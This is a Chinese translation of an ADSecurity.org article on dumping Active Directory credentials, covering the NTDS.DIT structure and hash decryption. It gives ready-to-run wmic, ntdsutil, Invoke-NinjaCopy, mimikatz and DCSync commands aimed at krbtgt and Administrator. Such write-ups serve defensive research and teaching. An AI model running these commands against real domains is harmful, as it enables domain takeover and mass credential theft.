原文地址: https://adsecurity.org/?p=2398
ADS 的大牛發表的文章都堪稱佳作,值得仔細拜讀,遂花了點時間對全文進行了翻譯,以饗各位。
我之前發表過兩篇關于如何轉儲 AD 數據庫憑證的文章: “攻擊者如何從一個域控制器中讀取活動目錄數據庫(NTDS.DIT)”和“在 Active Directory 域中獲得管理員權限的攻擊方法”。
這篇文章涵蓋了許多不同的方法,攻擊者可以轉儲 Active Directory 的憑據,包括 DC 本地的和遠程的。這方面的一些信息,我已經在 2015年的(BSides,Shakacon,Black Hat,DEF CON,&DerbyCon)安全會議談到過。
從 Active Directory 轉儲憑據數據的主要技術包括與一臺存活的 DC 的 LSASS 進程進行交互,抓取 AD 數據文件(NTDS.DIT)的副本,或者欺騙域控制器為攻擊者復制密碼數據。
這里所介紹的方法需要權限提升,因為它們需要連接到域控制器轉儲憑據。
如下:
注意:如果已經發現了 Active Directory 數據庫(NTDS.DIT)的副本,那么攻擊者無需提升權限即可從中轉儲憑據。
有幾種不同的方式可以在域控制器上遠程執行命令,假設它們已經有了相應的執行權限。最可靠的遠程執行方法包括兩種 PowerShell(利用 WinRM )和 WMI。
WMI
#!bash
Wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
#!bash
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND –ComputerName $COMPUTER -Credential $CRED
WinRM
#!bash
winrs –r:COMPUTER COMMAND
遠程 PowerShell
#!bash
Invoke-Command –computername $COMPUTER -command { $COMMAND}
New-PSSession -Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER
Active Directory 域數據庫存儲在 Ntds.dit 文件中(默認存放在 C:\WINDOWS\NTDS 中,但一般是在不同的邏輯驅動器上的)。 AD 數據庫是一個使用了可擴展存儲引擎(ESE) 的 Jet 數據庫引擎,它提供了數據存儲和索引服務; ESE 級別的索引使得對象的屬性能夠快速定位。 ESE 確保數據庫符合 ACID(原子性,一致性,隔離性和持久性)即 在一個事務中的所有操作要么全部完成要么全部不完成。AD 的 ESE 數據庫是非常快速且可靠的。
注:微軟同樣使用了 Jet 數據庫作為 Exchange 的郵箱數據庫。
Active Directory 將 Ntds.dit 文件的一部分加載到了內存(已被 LSASS 進程保護)中,并且緩存時使用了基于 LRU-K 的算法,以確保被頻繁訪問的數據是在內存中的,這樣可以提高性能,并且能夠提高二次讀取的性能。數據庫的更改會在內存中執行,寫入事務日志,之后會有一個緩慢的提交到數據庫文件的過程。check point 文件(edb.chk)將會跟蹤到事務寫入操作點。這個有點類似于指針的操作。
“版本存儲”是一個對象實例的副本,這使得數據從內存中被讀取時,更新操作可以在不改變被讀取的數據(ESE事務處理視圖)的前提下進行讀取。一旦讀取操作完成,該版本存儲的實例也將結束。
Active Directory 包括三個目錄分區:域,配置和架構,這是數據庫數據最精簡的抽象視圖。 Ntds.dit 文件包括三個主要的表:數據表,鏈接表,以及 SD 表。
數據表包含了 Active Directory 數據存儲的所有信息:用戶,用戶組,應用程序的特定數據,還有在 Active Directory 安裝后存儲的任何其他數據。數據表可以被看作是具有行(每一個都代表了一個對象的實例,如:用戶)和列(每一個都代表了架構中的屬性,如GivenName)的表。對于架構中的每個屬性,表中包含一個列,稱為字段。字段的大小是固定的或可變的。固定大小的字段包含一個整型或長整型作為數據類型。可變大小的字段通常為字符串類型,例如,Unicode 字符串。數據庫會盡可能分配多的空間滿足可變大小的字段的需求:16 位為 1 個字符的 Unicode 字符串,160 位為 10 個字符的 Unicode 字符串,等等。
用于存儲一個對象的數據庫空間的大小取決于為其已設定的值的屬性數量和值的大小。例如,如果管理員創建了兩個用戶對象(用戶1 和用戶2 ),并只給它們設置了最小的屬性,然后給用戶2 增加一個 10 個字符的描述時,用戶2 的空間會比用戶1 的空間大 80 個字節左右(20字節為 10 個字符的大小,再加上的元數據新生成的屬性)。
數據庫記錄是不能跨數據庫頁的;因此,每一個對象被限制為了 8KB 大小。然而,針對此限制,一個對象的有些屬性值是不會進行完全計算的。長度較長的和可變長度的值可以存儲不同的頁中,在對象記錄之后,只剩下了一個 9個字節的引用。以這種方式,一個對象及其所有的屬性值的大小會比 8KB 大得多。
鏈接表包含的數據表示被鏈接的屬性,其中包含的值指向了 Active Directory 中的其他對象。例如,一個用戶對象的 MemberOf 屬性,其包含的值指向了該用戶所屬的組。另外,鏈接表比數據表小得多。
SD 表包含的數據表示了每個對象所繼承的安全描述符。在 Windows Server 2003 或更高版本的 Windows 操作系統中引入了 SD 表,被繼承的安全描述符不再被復制到每個繼承安全描述符的對象上。相反,被繼承的安全描述符被存儲在了 SD 表并被鏈接到了相應的對象上。
Csaba Barta([email protected])于2011年7月 發表過一份白皮書 —— “ Active Directory 的 HASH 離線轉儲和取證分析技術”。
需要注意的是在前一個列表中,有很多被描述為加密的字段,加密的目的是提供保護,防止數據被離線提取。
微軟為了提供這種保護所引入的解決方案比較復雜,其加密共有三層,前兩層使用了 RC4 加密算法,第三層使用了 DES 加密算法。
要解密存儲在 NTDS.DIT 中的哈希,需要執行下面的步驟:
PEK 用于加密存儲在 NTDS.DIT 文件中的數據。在整個域中,這個密鑰都是同一個,這意味著它在所有的域控制器中也是相同的。該 PEK 本身也以加密的形式存儲在 NTDS.DIT 中。要解密 PEK 則需要從獲得 Ntds.dit 文件所在的同一個域控制器中導出注冊表數據(SYSTEM hive)。這是因為 PEK 使用了 BOOTKEY 進行了加密并且 BOOTKEY 在所有的域控制器中(事實上在域中的所有計算機)上是不同的。
為了解密該 PEK 則必須從 NTDS.DIT 文件中獲取 ATTk590689 字段。由于上述所提到的所有存儲在數據庫中的對象都具有此字段,因此,為了確定哪一個才是解密需要的值,則需要檢查值是否為空即可。
該字段的值的長度是 76 個字節(二進制數據)。值的結構如下:
解密后得到的 PEK 的值可以分為兩部分。跳過前 36 字節(因此實際上 PEK 密鑰的長度只有 16 個字節)。
去掉 RC4 加密層后的算法如下:
#!cpp
md5 = MD5.new()
md5.update(pek)
md5.update(enc_hash[0:16])
rc4_key = md5.digest();
rc4 = ARC4.new(rc4_key)
denc_hash = rc4.encrypt(enc_hash[16:])
最后一步是去掉 DES 加密層,實際上這和存儲在注冊表中的密碼 HASH 所使用的所謂的“標準” SYSKEY加密算法及其相似,該算法的具體細節可以在這找到,http://moyix.blogspot.com/2008/02/syskey-and-sam.html。
下面是該算法的最后一部分:
#!cpp
(des_k1,des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
hash = d1.decrypt(denc_hash[:8]) + d2.decrypt(denc_hash[8:])
需要注意的是,它必須要有用戶的 SID 以確定 RID 并計算出用于 DES 加解密的密鑰。
最好的緩解措施是防止攻擊者能夠獲得域控制器中相關文件的訪問權限。在這篇文章中——“在 Active Directory 域中獲得管理員權限的攻擊方法”涵蓋了保護管理員憑據的方法。
在 Windows 中有內置的管理組件—— WMI,允許遠程執行命令(需要管理員權限)。 WMIC 是 WMI 的命令行工具,可以在遠程計算機上執行命令。
Matt Graeber 在 Black Hat USA 2015 安全會議中演示了利用 WMI 進行攻擊的技術(paper,PPT和視頻)。他還在 DEF CON 23 中(視頻)與同事一起進一步演示了 WMI 的攻擊能力。(還有在 DerbyCon 的視頻)
利用 WMIC (或者是 PowerShell 遠程管理)創建(或 copy 已存在的)VSS。
當 VSS 快照完成后,我們就可以從 VSS 中將 NTDS.dit 文件和 注冊表中的 System hive 復制到域控制器的 C 盤中。
之后就可以將域控制器中 c:\\temp
目錄的文件復制到本地的計算機中。
上圖中顯示了攻擊者使用 Mimikatz 獲取的明文密碼,進行遠程連接操作。不過,就算我們沒有密碼又有什么關系呢?
攻擊者可以通過 WMIC 傳遞 Kerberos 票證同樣可以進行遠程連接操作。
需要注意的是在較新版本的 Windows 中 WMIC 已經有些過時了。 PowerShell 提供了 Invoke-WMIMethod cmdlet 可以執行相同的功能。
NTDSUTIL 是一個命令行實用程序,在本地工作時需要 AD 數據庫(NTDS.DIT)并支持為 DCPROMO 創建 IFM 。DCPROMO 將使用 IFM 以“從媒體介質中安裝”,這樣服務器就不需要通過網絡從另一臺 DC 上復制域數據。
#!bash
ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q
在下圖中,IFM 是一個 NTDS.dit 文件的副本,放在 c:\\temp
目錄中。
當創建一個 IFM 時,也會產生并掛載一個 VSS 快照,同時 Ntds.dit 文件和相關的數據也被復制到目標文件夾中。
該文件可能存儲在一個正在 promot 的新的 DC 的共享文件夾中,也可能出現在還沒有 promot 的新的服務器上。此服務器可能無法確保IFM 數據的安全,包括復制 Ntds.dit 文件并提取憑證數據。
這個命令也可以通過 WMI 或 PowerShell 遠程執行。
Invoke-NinjaCopy 是一個 PowerShell 函數,可以利用 PowerShell 遠程管理復制遠程計算機的文件(需要目標 DC 啟用 PowerShell 遠程管理)。
Invoke-NinjaCopy 文件介紹:
該腳本可以打開整個卷(如C:)的讀取句柄并解析 NTFS 結構,從而從一個 NTFS 卷復制文件。此操作需要目標服務器的管理員權限。利用此腳本可以繞過以下保護措施:
如果指定了 LocalDestination 參數,則文件將被復制到本地服務器(腳本正在從運行的服務器)中指定的文件路徑。
如果指定了 RemoteDestination 參數,則該文件將被復制到遠程服務器中指定的文件路徑。
該腳本使用了 cyb70289 的NTFS解析代碼并已發布到了 CodePlex 上進行 NTFS 結構解析。由于 NTFS 解析代碼使用 C++ 編寫,所以我將代碼編譯到了一個 DLL 中,并通過反射使用 PowerShell 的 Invoke-ReflectivePEInjection.ps1 腳本加載它(原始代碼請參閱以下鏈接)。
Joe Bialek (@JosephBialek)在他的博客中寫了如下關于 Invoke-NinjaCopy 的信息。
目前,已有好幾種方法可以轉儲 Active Directory 和本地密碼的 HASH。不過直到最近,我發現目前獲取 HASH 的技術,需 要依賴于注入代碼到 LSASS 進程或使用 VSS ,以獲得含有 HASH 文件的副本。我創建了一個名為 Invoke-NinjaCopy 的 PowerShell 腳本,支持任何文件(包括NTDS.DIT)的復制,無需啟動可疑的服務,無需注入代碼到進程中,或者提升到 SYSTEM 權限。
命令如下:
#!bash
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -ComputerName “RDLABDC02” -LocalDestination “c:\temp\ntds.dit”
下面這個示例是從外網下載并完全是在內存中執行代碼,然后執行 Invoke-Ninjacopy。如果攻擊者已經拿到了域管理員已登錄的主機,那么在這種情況下會很有效,從而使攻擊者可以將 Active Directory 數據庫文件從域控制器復制到主機中,然后上傳到外網。
使用 DIT 快照查看器 ,可以驗證我們是否順利拿到了Ntds.dit 文件。
從正在運行的系統中抓取文件時,我必須對 Ntds.dit 文件進行“拍攝快照”以便糾正錯誤。
注意:
Invoke-NinjaCopy 的作者 Joe Bialek (@JosephBialek) 提示說,他并沒有測試使用 Invoke-NinjaCopy 復制較大的 ntds.dit 文件,因此在一個繁忙的 DC 中使用時,很有可能會損壞文件。這里是 Harmj0y 對嘗試轉儲 AD 憑據時 NTDS.DIT 文件損壞的一些見解。
一般情況下服務帳戶就是域管理員組(或同等權限)的成員或者攻擊者從域管理員最近登錄到的計算機中 dump 出登錄憑證。使用這些憑據,攻擊者可以訪問域控制器,并可以得到所有的域憑據,其中包括用于創建 Kerberos 的黃金票證的 KRBTGT 帳戶的 NTLM 哈希值。
PS:
有許多不同的工具可以在本地 DC 上運行時, dump 出 AD 的憑證,但我更傾向于使用 Mimikatz ,因為其具有大量的的憑證竊取和代碼注入功能(當然不止這些)使得攻擊者可以從多種來源和場景中轉儲憑證數據。
命令:
#!bash
mimikatz lsadump::lsa /inject exit
可以在域控制器上運行,轉儲 Active Directory 的域憑證數據。
需要使用 debug 模式獲取本地管理員權限或者系統權限進行訪問。
注意:
UID 為 502 的帳戶是 KRBTGT 帳戶 與 RID 為 500 的帳戶一樣都是域中默認的管理員。
Invoke-Mimikatz 是 PowerSploit 的一部分,由 Joe Bialek (@JosephBialek) 編寫,在一個 Powershell 函數中整合了 Mimikatz 的所有功能。它利用 Mimikatz 2.0 和 Invoke-ReflectivePEInjection 在內存中反射式的加載了 Mimikatz 的全部代碼。這使得你在轉儲憑證時無需寫入 Mimikatz 的二進制數據到磁盤中。
PS: PowerSploit 框架目前托管在 PowerShellMafia 的 GitHub 資源庫中。
是什么讓 Invoke-Mimikatz 如此有“魔力”,就是使用了反射式加載 Mimikatz DLL(已內嵌了腳本)到內存的能力。Invoke-Mimikatz 的代碼可以從外網下載并在內存中執行,無需向磁盤寫入任何東西。此外,如果使用相應的權限運行 Invoke-Mimikatz 并且目標計算機中啟用了 PowerShell 遠程管理時,就可以從其他系統中導出憑證數據,并可以遠程執行標準的 Mimikatz 命令,不需要向遠程系統上丟任何文件。
Invoke-Mimikatz 不再更新,不過我們可以使用較新的 Mimikatz 轉換出 DLL(32位和64位版本)。
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz –DumpCerts
Invoke-Mimikatz -Command “privilege::debug exit” -ComputerName “computer1”
Invoke-Mimikatz “Command” 參數允許 Invoke-Mimikatz 執行自定義的 Mimikatz 命令行。
命令:
#!bash
Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump::LSA /inject” exit’
在域控制器上運行并轉儲 Active Directory 的域憑證數據是需要使用 debug 模式獲取本地管理員權限或者系統權限進行訪問。
注意:
UID 為 502 的帳戶是 KRBTGT 帳戶 與 RID 為 500 的帳戶一樣都是域中默認的管理員。
命令:
#!bash
Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer RDLABDC02.rd.adsecurity.org
下面這個這個示例是從外網下載并完全是在內存中執行代碼,然后執行 Invoke-Mimikatz 。如果攻擊者已經拿到了域管理員已登錄的主機,那么在這種情況下會很有效,從而使攻擊者可以將 Active Directory 數據庫文件從域控制器復制到主機中,然后上傳到外網。
在 2015 年八月, Mimikatz 加入了一個新的特性—— “DCSync”,可以有效地“假冒”一個域控制器,并可以向目標域控制器請求帳戶密碼數據。
之前利用 DCSync 的攻擊方法是在域控制器上運行 Mimikatz 或 Invoke-Mimikatz 得到 KRBTGT 賬戶的密碼哈希創建黃金票證。
如果使用適當的權限執行 Mimikatz 的 DCSync 功能,攻擊者就可以通過網絡遠程讀取域控制器的密碼哈希,以及以前的密碼的哈希,且無需交互式登錄或復制 Active Directory 的數據庫文件(NTDS.DIT)。
運行 DCSync 所要求的特殊權限有管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器計算機帳戶的任何成員都能夠運行 DCSync 去讀取密碼數據。需要注意的是只讀域控制器默認是不允許讀取用戶密碼數據的。
DCSync 是何如工作的:
我之前捕獲了一些域控制器復制數據的數據包,并確認了有關域控制器如何復制內部 DC 數據的通訊流。
Samba Wiki 描述了 DSGetNCChanges 函數,如下:
“當第一個得到的 AD 對象從第二個更新時,客戶端 DC 會向服務器發送 DSGetNCChanges 請求。響應的數據包含了一組客戶端必須應用到其 NC 副本的更新。...
當 DC 收到一個 DSReplicaSync 請求后,它會執行一個復制周期,去復制每一個它要復制的 DC (存儲在 RepsFrom 數據結構中),此時它的行為就像一個客戶端,會發送 DSGetNCChanges 請求到那個所要復制的 DC 去。所以它獲得了每個它所復制的 DC 的最新的 AD 對象。
DCSync 選項:
/user
- 要拉取數據的用戶的 id 或 SID/domain
(可選的) Active Directory 域的 FQDN 域名,Mimikatz 會發現域中的一個 DC 并去連接。如果不提供該參數,Mimikatz 會默認設置為當前域。/dc
(可選的)指定你想要使用 DCSync 連接并收集數據的域控制器。另外還有一個/guid
參數。
DCSync 命令行示例:
拉取 rd.adsecurity.org 域中的 KRBTGT 用戶帳戶的密碼數據:
#!bash
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt" exit
拉取 rd.adsecurity.org 域中的 Administrator 用戶帳戶的密碼數據:
#!bash
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的計算機帳戶的密碼數據:
#!bash
Mimikatz "privilege::debug" "lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$" exit
如果帳戶啟用了 “可逆加密”,則會顯示明文密碼。